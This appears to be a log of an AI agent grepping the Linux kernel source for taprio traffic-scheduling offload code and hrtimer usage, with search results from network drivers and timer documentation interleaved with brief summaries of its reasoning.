 drivers/net/dsa/sja1105/sja1105_tas.h:77:					  struct tc_taprio_qopt_offload *admin)
 drivers/net/dsa/sja1105/sja1105_tas.h-78-{
 --
 drivers/net/dsa/sja1105/sja1105_vl.c=581=int sja1105_vl_gate(struct sja1105_private *priv, int port,
 --
 drivers/net/dsa/sja1105/sja1105_vl.c-712-	if (sja1105_gating_check_conflicts(priv, -1, extack)) {
 drivers/net/dsa/sja1105/sja1105_vl.c:713:		NL_SET_ERR_MSG_MOD(extack, "Conflict with tc-taprio schedule");
 drivers/net/dsa/sja1105/sja1105_vl.c-714-		rc = -ERANGE;
 --
 drivers/net/ethernet/cadence/macb_main.c=4073=static void macb_restore_features(struct macb *bp)
 --
 drivers/net/ethernet/cadence/macb_main.c-4091-
 drivers/net/ethernet/cadence/macb_main.c:4092:static int macb_taprio_setup_replace(struct net_device *ndev,
 drivers/net/ethernet/cadence/macb_main.c:4093:				     struct tc_taprio_qopt_offload *conf)
 drivers/net/ethernet/cadence/macb_main.c-4094-{
 --
 drivers/net/ethernet/cadence/macb_main.c-4097-	struct macb_queue_enst_config *enst_queue;
 drivers/net/ethernet/cadence/macb_main.c:4098:	struct tc_taprio_sched_entry *entry;
 drivers/net/ethernet/cadence/macb_main.c-4099-	struct macb *bp = netdev_priv(ndev);
 --
 drivers/net/ethernet/cadence/macb_main.c-4241-
 drivers/net/ethernet/cadence/macb_main.c:4242:static void macb_taprio_destroy(struct net_device *ndev)
 drivers/net/ethernet/cadence/macb_main.c-4243-{
 --
 drivers/net/ethernet/cadence/macb_main.c-4265-
 drivers/net/ethernet/cadence/macb_main.c:4266:static int macb_setup_taprio(struct net_device *ndev,
 drivers/net/ethernet/cadence/macb_main.c:4267:			     struct tc_taprio_qopt_offload *taprio)
 drivers/net/ethernet/cadence/macb_main.c-4268-{
 --
 drivers/net/ethernet/cadence/macb_main.c-4280-
 drivers/net/ethernet/cadence/macb_main.c:4281:	switch (taprio->cmd) {
 drivers/net/ethernet/cadence/macb_main.c-4282-	case TAPRIO_CMD_REPLACE:
 drivers/net/ethernet/cadence/macb_main.c:4283:		err = macb_taprio_setup_replace(ndev, taprio);
 drivers/net/ethernet/cadence/macb_main.c-4284-		break;
 drivers/net/ethernet/cadence/macb_main.c-4285-	case TAPRIO_CMD_DESTROY:
 drivers/net/ethernet/cadence/macb_main.c:4286:		macb_taprio_destroy(ndev);
 drivers/net/ethernet/cadence/macb_main.c-4287-		break;
 --
 drivers/net/ethernet/cadence/macb_main.c=4295=static int macb_setup_tc(struct net_device *dev, enum tc_setup_type type,
 --
 drivers/net/ethernet/cadence/macb_main.c-4302-	case TC_SETUP_QDISC_TAPRIO:
 drivers/net/ethernet/cadence/macb_main.c:4303:		return macb_setup_taprio(dev, type_data);
 drivers/net/ethernet/cadence/macb_main.c-4304-	default:
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c=155=static void delay_base_time(struct tsnep_adapter *adapter,
 drivers/net/ethernet/engleder/tsnep_selftests.c:156:			    struct tc_taprio_qopt_offload *qopt, s64 ms)
 drivers/net/ethernet/engleder/tsnep_selftests.c-157-{
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c=299=static bool check_gate_duration(struct tsnep_adapter *adapter, s64 ms)
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-310-
 drivers/net/ethernet/engleder/tsnep_selftests.c:311:static bool enable_check_taprio(struct tsnep_adapter *adapter,
 drivers/net/ethernet/engleder/tsnep_selftests.c:312:				struct tc_taprio_qopt_offload *qopt, s64 ms)
 drivers/net/ethernet/engleder/tsnep_selftests.c-313-{
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-325-
 drivers/net/ethernet/engleder/tsnep_selftests.c:326:static bool disable_taprio(struct tsnep_adapter *adapter)
 drivers/net/ethernet/engleder/tsnep_selftests.c-327-{
 drivers/net/ethernet/engleder/tsnep_selftests.c:328:	struct tc_taprio_qopt_offload qopt;
 drivers/net/ethernet/engleder/tsnep_selftests.c-329-	int retval;
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-339-
 drivers/net/ethernet/engleder/tsnep_selftests.c:340:static bool run_taprio(struct tsnep_adapter *adapter,
 drivers/net/ethernet/engleder/tsnep_selftests.c:341:		       struct tc_taprio_qopt_offload *qopt, s64 ms)
 drivers/net/ethernet/engleder/tsnep_selftests.c-342-{
 drivers/net/ethernet/engleder/tsnep_selftests.c:343:	if (!enable_check_taprio(adapter, qopt, ms))
 drivers/net/ethernet/engleder/tsnep_selftests.c-344-		return false;
 drivers/net/ethernet/engleder/tsnep_selftests.c-345-
 drivers/net/ethernet/engleder/tsnep_selftests.c:346:	if (!disable_taprio(adapter))
 drivers/net/ethernet/engleder/tsnep_selftests.c-347-		return false;
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-351-
 drivers/net/ethernet/engleder/tsnep_selftests.c:352:static bool tsnep_test_taprio(struct tsnep_adapter *adapter)
 drivers/net/ethernet/engleder/tsnep_selftests.c-353-{
 drivers/net/ethernet/engleder/tsnep_selftests.c:354:	struct tc_taprio_qopt_offload *qopt;
 drivers/net/ethernet/engleder/tsnep_selftests.c-355-	int i;
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-381-	qopt->num_entries = 7;
 drivers/net/ethernet/engleder/tsnep_selftests.c:382:	if (!run_taprio(adapter, qopt, 100))
 drivers/net/ethernet/engleder/tsnep_selftests.c-383-		goto failed;
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-405-	qopt->num_entries = 8;
 drivers/net/ethernet/engleder/tsnep_selftests.c:406:	if (!run_taprio(adapter, qopt, 100))
 drivers/net/ethernet/engleder/tsnep_selftests.c-407-		goto failed;
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-434-	qopt->num_entries = 10;
 drivers/net/ethernet/engleder/tsnep_selftests.c:435:	if (!run_taprio(adapter, qopt, 100))
 drivers/net/ethernet/engleder/tsnep_selftests.c-436-		goto failed;
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-442-failed:
 drivers/net/ethernet/engleder/tsnep_selftests.c:443:	disable_taprio(adapter);
 drivers/net/ethernet/engleder/tsnep_selftests.c-444-	kfree(qopt);
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-448-
 drivers/net/ethernet/engleder/tsnep_selftests.c:449:static bool tsnep_test_taprio_change(struct tsnep_adapter *adapter)
 drivers/net/ethernet/engleder/tsnep_selftests.c-450-{
 drivers/net/ethernet/engleder/tsnep_selftests.c:451:	struct tc_taprio_qopt_offload *qopt;
 drivers/net/ethernet/engleder/tsnep_selftests.c-452-	int i;
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-468-	qopt->num_entries = 2;
 drivers/net/ethernet/engleder/tsnep_selftests.c:469:	if (!enable_check_taprio(adapter, qopt, 100))
 drivers/net/ethernet/engleder/tsnep_selftests.c-470-		goto failed;
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-472-	/* change to identical */
 drivers/net/ethernet/engleder/tsnep_selftests.c:473:	if (!enable_check_taprio(adapter, qopt, 100))
 drivers/net/ethernet/engleder/tsnep_selftests.c-474-		goto failed;
 drivers/net/ethernet/engleder/tsnep_selftests.c-475-	delay_base_time(adapter, qopt, 17);
 drivers/net/ethernet/engleder/tsnep_selftests.c:476:	if (!enable_check_taprio(adapter, qopt, 100))
 drivers/net/ethernet/engleder/tsnep_selftests.c-477-		goto failed;
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-483-	delay_base_time(adapter, qopt, 2);
 drivers/net/ethernet/engleder/tsnep_selftests.c:484:	if (!enable_check_taprio(adapter, qopt, 100))
 drivers/net/ethernet/engleder/tsnep_selftests.c-485-		goto failed;
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-491-	delay_base_time(adapter, qopt, 23);
 drivers/net/ethernet/engleder/tsnep_selftests.c:492:	if (!enable_check_taprio(adapter, qopt, 100))
 drivers/net/ethernet/engleder/tsnep_selftests.c-493-		goto failed;
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-502-	delay_base_time(adapter, qopt, 11);
 drivers/net/ethernet/engleder/tsnep_selftests.c:503:	if (!enable_check_taprio(adapter, qopt, 100))
 drivers/net/ethernet/engleder/tsnep_selftests.c-504-		goto failed;
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-514-	delay_base_time(adapter, qopt, 11);
 drivers/net/ethernet/engleder/tsnep_selftests.c:515:	if (!enable_check_taprio(adapter, qopt, 100))
 drivers/net/ethernet/engleder/tsnep_selftests.c-516-		goto failed;
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-528-	delay_base_time(adapter, qopt, 3);
 drivers/net/ethernet/engleder/tsnep_selftests.c:529:	if (!enable_check_taprio(adapter, qopt, 100))
 drivers/net/ethernet/engleder/tsnep_selftests.c-530-		goto failed;
 --
 drivers/net/ethernet/engleder/tsnep_selftests.c-540-	delay_base_time(adapter, qopt, 11);
 drivers/net/ethernet/engleder/tsnep_selftests.c:541:	if (!enable_check_taprio(adapter, qopt, 100))
 drivers/net/ethernet/engleder/tsnep_selftests.c-542-		goto failed;
 --
]
]

gemini-3.1-pro-preview

							input: 35478
							output: 19
							thoughts: 39
						

Okay, here's my take on those thoughts, tailored for an expert audience:

**Analyzing the `taprio` Qdisc**

Alright, so I see `taprio` mentioned. Right away, my mental gears kick in – that's a Quality of Service discipline, a qdisc, and based on my knowledge, it's defined in `net/sched/sch_taprio.c`. Now, my interest is definitely piqued. This means I need to immediately delve into that specific source file. I need to understand its implementation to grasp how this scheduler handles traffic. Time to dig in and see the details of how `taprio` prioritizes and shapes network traffic. Let's see what interesting techniques they're using there.

no matches

map[Expression:hrtimer.*taprio]

map[Output:]

gemini-3.1-pro-preview

							input: 35706
							output: 17
							thoughts: 21
						

Okay, here's my summarized thought process, presented as if I were thinking it:

**Digging into the TAPRIO Scheduler Implementation**

Right, I need to refresh my memory on the TAPRIO scheduler's interaction with the high-resolution timer. Let's see... the most logical place to start is the core implementation itself. I should check `net/sched/sch_taprio.c` in the kernel source. That's where I expect to find the timer-related code, specifically how it integrates with `hrtimer`. I'll focus on how it schedules and handles the timing events for traffic shaping. Gotta get a solid grasp of this for the next phase of this project.

map[Expression:hrtimer.*]

map[Output:
Full output is too long, showing 500 out of 13251 lines.
Use more precise expression if possible.

[Documentation/ABI/testing/configfs-iio=13=Description:
 --
 Documentation/ABI/testing/configfs-iio-15-
 Documentation/ABI/testing/configfs-iio:16:What:		/config/iio/triggers/hrtimers
 Documentation/ABI/testing/configfs-iio-17-Date:		October 2015
 --
 Documentation/ABI/testing/configfs-iio=19=Description:
 Documentation/ABI/testing/configfs-iio-20-		High resolution timers directory. Creating a directory here
 Documentation/ABI/testing/configfs-iio:21:		will result in creating a hrtimer trigger in the IIO subsystem.
 Documentation/ABI/testing/configfs-iio-22-
 --
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern=17=Description:
 --
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern-22-		Unlike the /sys/class/leds/<led>/pattern, this attribute runs
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern:23:		a pattern on high-resolution timer (hrtimer).
 Documentation/ABI/testing/sysfs-class-led-trigger-pattern-24-
 --
 Documentation/RCU/listRCU.rst=430=version of timerfd_release()::
 --
 Documentation/RCU/listRCU.rst-447-		else
 Documentation/RCU/listRCU.rst:448:			hrtimer_cancel(&ctx->t.tmr);
 Documentation/RCU/listRCU.rst-449-		kfree_rcu(ctx, rcu);
 --
 Documentation/RCU/listRCU.rst=453=If the ``CLOCK_REALTIME`` clock is set, for example by a time server, the
 Documentation/RCU/listRCU.rst:454:hrtimer framework calls ``timerfd_clock_was_set()`` which walks the
 Documentation/RCU/listRCU.rst-455-``cancel_list`` and wakes up processes waiting on the timerfd. While iterating
 --
 Documentation/admin-guide/kernel-parameters.txt-5912-			FIFO real-time task.  This delay is mediated
 Documentation/admin-guide/kernel-parameters.txt:5913:			by an hrtimer and is further fuzzed to avoid
 Documentation/admin-guide/kernel-parameters.txt-5914-			inadvertent synchronizations.
 --
 Documentation/admin-guide/lockup-watchdogs.rst=33=Implementation
 --
 Documentation/admin-guide/lockup-watchdogs.rst-35-
 Documentation/admin-guide/lockup-watchdogs.rst:36:The soft and hard lockup detectors are built on top of the hrtimer and
 Documentation/admin-guide/lockup-watchdogs.rst-37-perf subsystems, respectively. A direct consequence of this is that,
 --
 Documentation/admin-guide/lockup-watchdogs.rst=39=subsystems are present.
 Documentation/admin-guide/lockup-watchdogs.rst-40-
 Documentation/admin-guide/lockup-watchdogs.rst:41:A periodic hrtimer runs to generate interrupts and kick the watchdog
 Documentation/admin-guide/lockup-watchdogs.rst-42-job. An NMI perf event is generated every "watchdog_thresh"
 --
 Documentation/admin-guide/lockup-watchdogs.rst=44=same name) seconds to check for hardlockups. If any CPU in the system
 Documentation/admin-guide/lockup-watchdogs.rst:45:does not receive any hrtimer interrupt during that time the
 Documentation/admin-guide/lockup-watchdogs.rst-46-'hardlockup detector' (the handler for the NMI perf event) will
 --
 Documentation/admin-guide/lockup-watchdogs.rst=52=for 2*watchdog_thresh seconds (the softlockup threshold) the
 Documentation/admin-guide/lockup-watchdogs.rst:53:'softlockup detector' (coded inside the hrtimer callback function)
 Documentation/admin-guide/lockup-watchdogs.rst-54-will dump useful debug information to the system log, after which it
 --
 Documentation/admin-guide/lockup-watchdogs.rst=56=other kernel code.
 Documentation/admin-guide/lockup-watchdogs.rst-57-
 Documentation/admin-guide/lockup-watchdogs.rst:58:The period of the hrtimer is 2*watchdog_thresh/5, which means it has
 Documentation/admin-guide/lockup-watchdogs.rst-59-two or three chances to generate an interrupt before the hardlockup
 --
 Documentation/admin-guide/lockup-watchdogs.rst=62=As explained above, a kernel knob is provided that allows
 Documentation/admin-guide/lockup-watchdogs.rst:63:administrators to configure the period of the hrtimer and the perf
 Documentation/admin-guide/lockup-watchdogs.rst-64-event. The right value for a particular environment is a trade-off
 --
 Documentation/admin-guide/sysctl/kernel.rst=1710=watchdog_thresh
 --
 Documentation/admin-guide/sysctl/kernel.rst-1712-
 Documentation/admin-guide/sysctl/kernel.rst:1713:This value can be used to control the frequency of hrtimer and NMI
 Documentation/admin-guide/sysctl/kernel.rst-1714-events and the soft and hard lockup thresholds. The default threshold
 --
 Documentation/admin-guide/sysrq.rst=97=Command	    Function
 --
 Documentation/admin-guide/sysrq.rst-133-
 Documentation/admin-guide/sysrq.rst:134:``q``	    Will dump per CPU lists of all armed hrtimers (but NOT regular
 Documentation/admin-guide/sysrq.rst-135-            timer_list timers) and detailed information about all
 --
 Documentation/core-api/real-time/differences.rst=114=Timers
 --
 Documentation/core-api/real-time/differences.rst-116-
 Documentation/core-api/real-time/differences.rst:117:By default, an hrtimer is executed in hard interrupt context. The exception is
 Documentation/core-api/real-time/differences.rst-118-timers initialized with the HRTIMER_MODE_SOFT flag, which are executed in
 Documentation/core-api/real-time/differences.rst=119=softirq context.
 Documentation/core-api/real-time/differences.rst-120-
 Documentation/core-api/real-time/differences.rst:121:On a PREEMPT_RT kernel, this behavior is reversed: hrtimers are executed in
 Documentation/core-api/real-time/differences.rst-122-softirq context by default, typically within the ktimersd thread. This thread
 --
 Documentation/core-api/real-time/differences.rst=196=eventually succeed as that CPU makes progress.
 Documentation/core-api/real-time/differences.rst-197-
 Documentation/core-api/real-time/differences.rst:198:Some examples are hrtimer_cancel() or timer_delete_sync(). These functions
 Documentation/core-api/real-time/differences.rst-199-cancel timers that execute with interrupts or soft interrupts disabled. If a
 --
 Documentation/driver-api/basics.rst=48=High-resolution timers
 --
 Documentation/driver-api/basics.rst-53-
 Documentation/driver-api/basics.rst:54:.. kernel-doc:: include/linux/hrtimer.h
 Documentation/driver-api/basics.rst-55-   :internal:
 Documentation/driver-api/basics.rst-56-
 Documentation/driver-api/basics.rst:57:.. kernel-doc:: kernel/time/hrtimer.c
 Documentation/driver-api/basics.rst-58-   :export:
 --
 Documentation/driver-api/driver-model/design-patterns.rst=69=Continuing on the above example we add an offloaded work::
 --
 Documentation/driver-api/driver-model/design-patterns.rst-101-
 Documentation/driver-api/driver-model/design-patterns.rst:102:The design pattern is the same for an hrtimer or something similar that will
 Documentation/driver-api/driver-model/design-patterns.rst-103-return a single argument which is a pointer to a struct member in the
 --
 Documentation/gpu/vkms.rst=116=Virtual hardware (vblank-less) mode:
 Documentation/gpu/vkms.rst-117-
 Documentation/gpu/vkms.rst:118:- VKMS already has support for vblanks simulated via hrtimers, which can be
 Documentation/gpu/vkms.rst-119-  tested with kms_flip test; in some way, we can say that VKMS already mimics
 --
 Documentation/iio/iio_configfs.rst=80=We support the following interrupt sources (trigger types):
 Documentation/iio/iio_configfs.rst-81-
 Documentation/iio/iio_configfs.rst:82:	* hrtimer, uses high resolution timers as interrupt source
 Documentation/iio/iio_configfs.rst-83-
 --
 Documentation/iio/iio_configfs.rst-86-
 Documentation/iio/iio_configfs.rst:87:Loading iio-trig-hrtimer module will register hrtimer trigger types allowing
 Documentation/iio/iio_configfs.rst:88:users to create hrtimer triggers under /config/iio/triggers/hrtimer.
 Documentation/iio/iio_configfs.rst-89-
 Documentation/iio/iio_configfs.rst=90=e.g::
 Documentation/iio/iio_configfs.rst-91-
 Documentation/iio/iio_configfs.rst:92:  $ mkdir /config/iio/triggers/hrtimer/instance1
 Documentation/iio/iio_configfs.rst:93:  $ rmdir /config/iio/triggers/hrtimer/instance1
 Documentation/iio/iio_configfs.rst-94-
 Documentation/iio/iio_configfs.rst=95=Each trigger can have one or more attributes specific to the trigger type.
 Documentation/iio/iio_configfs.rst-96-
 Documentation/iio/iio_configfs.rst:97:3.2 "hrtimer" trigger types attributes
 Documentation/iio/iio_configfs.rst-98---------------------------------------
 Documentation/iio/iio_configfs.rst-99-
 Documentation/iio/iio_configfs.rst:100:"hrtimer" trigger type doesn't have any configurable attribute from /config dir.
 Documentation/iio/iio_configfs.rst-101-It does introduce the sampling_frequency attribute to trigger directory.
 --
 Documentation/input/devices/walkera0701.rst=55=Driver use interrupt from parport ACK input bit to measure pulse length
 Documentation/input/devices/walkera0701.rst:56:using hrtimers.
 Documentation/input/devices/walkera0701.rst-57-
 --
 Documentation/networking/net_cachelines/tcp_sock.rst=115=u32                           sacked_out              read_mostly         read_mostly         tcp_left_out(tx);tcp_packets_in_flight(tx/rx);tcp_clean_rtx_queue(rx)
 Documentation/networking/net_cachelines/tcp_sock.rst:116:struct hrtimer                pacing_timer
 Documentation/networking/net_cachelines/tcp_sock.rst:117:struct hrtimer                compressed_ack_timer
 Documentation/networking/net_cachelines/tcp_sock.rst-118-struct sk_buff*               retransmit_skb_hint     read_mostly                             tcp_clean_rtx_queue
 --
 Documentation/process/debugging/gdb-kernel-debugging.rst=71=Examples of using the Linux-provided gdb helpers
 --
 Documentation/process/debugging/gdb-kernel-debugging.rst-134-
 Documentation/process/debugging/gdb-kernel-debugging.rst:135:- Dig into hrtimers using the container_of helper::
 Documentation/process/debugging/gdb-kernel-debugging.rst-136-
 Documentation/process/debugging/gdb-kernel-debugging.rst:137:    (gdb) set $leftmost = $lx_per_cpu(hrtimer_bases).clock_base[0].active.rb_root.rb_leftmost
 Documentation/process/debugging/gdb-kernel-debugging.rst:138:    (gdb) p *$container_of($leftmost, "struct hrtimer", "node")
 Documentation/process/debugging/gdb-kernel-debugging.rst-139-    $5 = {
 --
 Documentation/scheduler/sched-rt-group.rst=24=Most notable:
 --
 Documentation/scheduler/sched-rt-group.rst-26- * very small values in sched_rt_period_us can result in an unstable
 Documentation/scheduler/sched-rt-group.rst:27:   system when the period is smaller than either the available hrtimer
 Documentation/scheduler/sched-rt-group.rst-28-   resolution, or the time it takes to handle the budget refresh itself.
 --
 Documentation/sound/alsa-configuration.rst=702=pcm_substreams
 Documentation/sound/alsa-configuration.rst-703-    Number of PCM substreams assigned to each PCM (default = 8, up to 128)
 Documentation/sound/alsa-configuration.rst:704:hrtimer
 Documentation/sound/alsa-configuration.rst:705:    Use hrtimer (=1, default) or system timer (=0)
 Documentation/sound/alsa-configuration.rst-706-fake_buffer
 --
 Documentation/timers/delay_sleep_functions.rst=15=reading of the function description before usage!
 --
 Documentation/timers/delay_sleep_functions.rst-27-     - busy-wait loop
 Documentation/timers/delay_sleep_functions.rst:28:     - hrtimers based
 Documentation/timers/delay_sleep_functions.rst-29-     - timer list timers based
 --
 Documentation/timers/delay_sleep_functions.rst=72=required?
 --
 Documentation/timers/delay_sleep_functions.rst-83-
 Documentation/timers/delay_sleep_functions.rst:84:These functions use hrtimers or timer list timers to provide the requested
 Documentation/timers/delay_sleep_functions.rst-85-sleeping duration. In order to decide which function is the right one to use,
 Documentation/timers/delay_sleep_functions.rst=86=take some basic information into account:
 Documentation/timers/delay_sleep_functions.rst-87-
 Documentation/timers/delay_sleep_functions.rst:88:#. hrtimers are more expensive as they are using an rb-tree (instead of hashing)
 Documentation/timers/delay_sleep_functions.rst:89:#. hrtimers are more expensive when the requested sleeping duration is the first
 Documentation/timers/delay_sleep_functions.rst-90-   timer which means real hardware has to be programmed
 --
 Documentation/timers/highres.rst=2=High resolution timers and dynamic ticks design notes
 --
 Documentation/timers/highres.rst-4-
 Documentation/timers/highres.rst:5:Further information can be found in the paper of the OLS 2006 talk "hrtimers
 Documentation/timers/highres.rst-6-and beyond". The paper is part of the OLS 2006 Proceedings Volume 1, which can
 --
 Documentation/timers/highres.rst=10=The slides to this talk are available from:
 Documentation/timers/highres.rst:11:http://www.cs.columbia.edu/~nahum/w6998/papers/ols2006-hrtimers-slides.pdf
 Documentation/timers/highres.rst-12-
 --
 Documentation/timers/highres.rst=14=changes in the time(r) related Linux subsystems. Figure #1 (p. 2) shows the
 Documentation/timers/highres.rst:15:design of the Linux time(r) system before hrtimers and other building blocks
 Documentation/timers/highres.rst-16-got merged into mainline.
 --
 Documentation/timers/highres.rst=21=The design contains the following basic building blocks:
 Documentation/timers/highres.rst-22-
 Documentation/timers/highres.rst:23:- hrtimer base infrastructure
 Documentation/timers/highres.rst-24-- timeofday and clock source management
 --
 Documentation/timers/highres.rst-29-
 Documentation/timers/highres.rst:30:hrtimer base infrastructure
 Documentation/timers/highres.rst-31----------------------------
 Documentation/timers/highres.rst-32-
 Documentation/timers/highres.rst:33:The hrtimer base infrastructure was merged into the 2.6.16 kernel. Details of
 Documentation/timers/highres.rst:34:the base implementation are covered in Documentation/timers/hrtimers.rst. See
 Documentation/timers/highres.rst-35-also figure #2 (OLS slides p. 15)
 --
 Documentation/timers/highres.rst=147=useful function. The initialization of the clock event device framework, the
 Documentation/timers/highres.rst:148:clock source framework (GTOD) and hrtimers itself has to be done and
 Documentation/timers/highres.rst-149-appropriate clock sources and clock event devices have to be registered before
 Documentation/timers/highres.rst:150:the high resolution functionality can work. Up to the point where hrtimers are
 Documentation/timers/highres.rst-151-initialized, the system works in the usual low resolution periodic mode. The
 Documentation/timers/highres.rst=152=clock source and the clock event device layers provide notification functions
 Documentation/timers/highres.rst:153:which inform hrtimers about availability of new hardware. hrtimers validates
 Documentation/timers/highres.rst-154-the usability of the registered clock sources and clock event devices before
 --
 Documentation/timers/highres.rst=176=red-black tree to a separate double linked list and invokes the softirq
 Documentation/timers/highres.rst:177:handler. An additional mode field in the hrtimer structure allows the system to
 Documentation/timers/highres.rst-178-execute callback functions directly from the next event interrupt handler. This
 --
 Documentation/timers/highres.rst=188=e.g. the PIT on i386 SMP systems.
 Documentation/timers/highres.rst-189-
 Documentation/timers/highres.rst:190:The periodic tick functionality is provided by an per-cpu hrtimer. The callback
 Documentation/timers/highres.rst-191-function is executed in the next event interrupt context and updates jiffies
 Documentation/timers/highres.rst:192:and calls update_process_times and profiling. The implementation of the hrtimer
 Documentation/timers/highres.rst-193-based periodic tick is designed to be extended with dynamic tick functionality.
 --
 Documentation/timers/highres.rst=197=on PPC.
 Documentation/timers/highres.rst-198-
 Documentation/timers/highres.rst:199:The softirq for running the hrtimer queues and executing the callbacks has been
 Documentation/timers/highres.rst-200-separated from the tick bound timer softirq to allow accurate delivery of high
 --
 Documentation/timers/highres.rst=208=dynamic ticks
 --
 Documentation/timers/highres.rst-210-
 Documentation/timers/highres.rst:211:Dynamic ticks are the logical consequence of the hrtimer based periodic tick
 Documentation/timers/highres.rst:212:replacement (sched_tick). The functionality of the sched_tick hrtimer is
 Documentation/timers/highres.rst-213-extended by three functions:
 Documentation/timers/highres.rst-214-
 Documentation/timers/highres.rst:215:- hrtimer_stop_sched_tick
 Documentation/timers/highres.rst:216:- hrtimer_restart_sched_tick
 Documentation/timers/highres.rst:217:- hrtimer_update_jiffies
 Documentation/timers/highres.rst-218-
 Documentation/timers/highres.rst:219:hrtimer_stop_sched_tick() is called when a CPU goes into idle state. The code
 Documentation/timers/highres.rst:220:evaluates the next scheduled timer event (from both hrtimers and the timer
 Documentation/timers/highres.rst-221-wheel) and in case that the next event is further away than the next tick it
 --
 Documentation/timers/highres.rst=226=new timer whose expiry time is before the time which was identified as the
 Documentation/timers/highres.rst:227:nearest event in the previous call to hrtimer_stop_sched_tick.
 Documentation/timers/highres.rst-228-
 Documentation/timers/highres.rst:229:hrtimer_restart_sched_tick() is called when the CPU leaves the idle state before
 Documentation/timers/highres.rst:230:it calls schedule(). hrtimer_restart_sched_tick() resumes the periodic tick,
 Documentation/timers/highres.rst:231:which is kept active until the next call to hrtimer_stop_sched_tick().
 Documentation/timers/highres.rst-232-
 Documentation/timers/highres.rst:233:hrtimer_update_jiffies() is called from irq_enter() when an interrupt happens
 Documentation/timers/highres.rst-234-in the idle period to make sure that jiffies are up to date and the interrupt
 --
 Documentation/timers/hrtimers.rst-1-======================================================
 Documentation/timers/hrtimers.rst:2:hrtimers - subsystem for high-resolution kernel timers
 Documentation/timers/hrtimers.rst-3-======================================================
 --
 Documentation/timers/hrtimers.rst=64=While this subsystem does not offer high-resolution clock sources just
 Documentation/timers/hrtimers.rst:65:yet, the hrtimer subsystem can be easily extended with high-resolution
 Documentation/timers/hrtimers.rst-66-clock capabilities, and patches for that exist and are maturing quickly.
 --
 Documentation/timers/hrtimers.rst=74=APIs are separated from the timer wheel and are migrated over to
 Documentation/timers/hrtimers.rst:75:hrtimers. E.g. we could decrease the frequency of the timeout subsystem
 Documentation/timers/hrtimers.rst-76-from 250 Hz to 100 HZ (or even smaller).
 Documentation/timers/hrtimers.rst-77-
 Documentation/timers/hrtimers.rst:78:hrtimer subsystem implementation details
 Documentation/timers/hrtimers.rst-79-----------------------------------------
 --
 Documentation/timers/hrtimers.rst=114=of posix-timers simpler in general.
 Documentation/timers/hrtimers.rst-115-
 Documentation/timers/hrtimers.rst:116:The locking and per-CPU behavior of hrtimers was mostly taken from the
 Documentation/timers/hrtimers.rst-117-existing timer wheel code, as it is mature and well suited. Sharing code
 Documentation/timers/hrtimers.rst=118=was not really a win, due to the different data structures. Also, the
 Documentation/timers/hrtimers.rst:119:hrtimer functions now have clearer behavior and clearer names - such as
 Documentation/timers/hrtimers.rst:120:hrtimer_try_to_cancel() and hrtimer_cancel() [which are roughly
 Documentation/timers/hrtimers.rst-121-equivalent to timer_delete() and timer_delete_sync()] - so there's no direct
 --
 Documentation/timers/hrtimers.rst=131=context of the Y2038 work.)
 Documentation/timers/hrtimers.rst-132-
 Documentation/timers/hrtimers.rst:133:hrtimers - rounding of timer values
 Documentation/timers/hrtimers.rst-134------------------------------------
 Documentation/timers/hrtimers.rst-135-
 Documentation/timers/hrtimers.rst:136:the hrtimer code will round timer events to lower-resolution clocks
 Documentation/timers/hrtimers.rst-137-because it has to. Otherwise it will do no artificial rounding at all.
 --
 Documentation/timers/hrtimers.rst=141=a given clock has - be it low-res, high-res, or artificially-low-res.
 Documentation/timers/hrtimers.rst-142-
 Documentation/timers/hrtimers.rst:143:hrtimers - testing and verification
 Documentation/timers/hrtimers.rst-144------------------------------------
 Documentation/timers/hrtimers.rst-145-
 Documentation/timers/hrtimers.rst:146:We used the high-resolution clock subsystem on top of hrtimers to verify
 Documentation/timers/hrtimers.rst:147:the hrtimer implementation details in praxis, and we also ran the posix
 Documentation/timers/hrtimers.rst-148-timer tests in order to ensure specification compliance. We also ran
 Documentation/timers/hrtimers.rst=149=tests on low-resolution clocks.
 Documentation/timers/hrtimers.rst-150-
 Documentation/timers/hrtimers.rst:151:The hrtimer patch converts the following kernel functionality to use
 Documentation/timers/hrtimers.rst:152:hrtimers:
 Documentation/timers/hrtimers.rst-153-
 --
 Documentation/timers/hrtimers.rst=165=The code was run-tested on the following platforms:
 --
 Documentation/timers/hrtimers.rst-168-
 Documentation/timers/hrtimers.rst:169:hrtimers were also integrated into the -rt tree, along with a
 Documentation/timers/hrtimers.rst:170:hrtimers-based high-resolution clock implementation, so the hrtimers
 Documentation/timers/hrtimers.rst-171-code got a healthy amount of testing and use in practice.
 --
 Documentation/timers/index.rst=4=Timers
 --
 Documentation/timers/index.rst-11-    hpet
 Documentation/timers/index.rst:12:    hrtimers
 Documentation/timers/index.rst-13-    no_hz
 --
 Documentation/tools/rtla/rtla-timerlat-top.rst=47=higher is found::
 --
 Documentation/tools/rtla/rtla-timerlat-top.rst-84-                -> timerlat_irq
 Documentation/tools/rtla/rtla-timerlat-top.rst:85:                -> __hrtimer_run_queues
 Documentation/tools/rtla/rtla-timerlat-top.rst:86:                -> hrtimer_interrupt
 Documentation/tools/rtla/rtla-timerlat-top.rst-87-                -> __sysvec_apic_timer_interrupt
 --
 Documentation/trace/ftrace.rst=1728=was over.
 --
 Documentation/trace/ftrace.rst-1760-      bash-1994    1d.h1   13us : exit_idle <-smp_apic_timer_interrupt
 Documentation/trace/ftrace.rst:1761:      bash-1994    1d.h1   13us : hrtimer_interrupt <-smp_apic_timer_interrupt
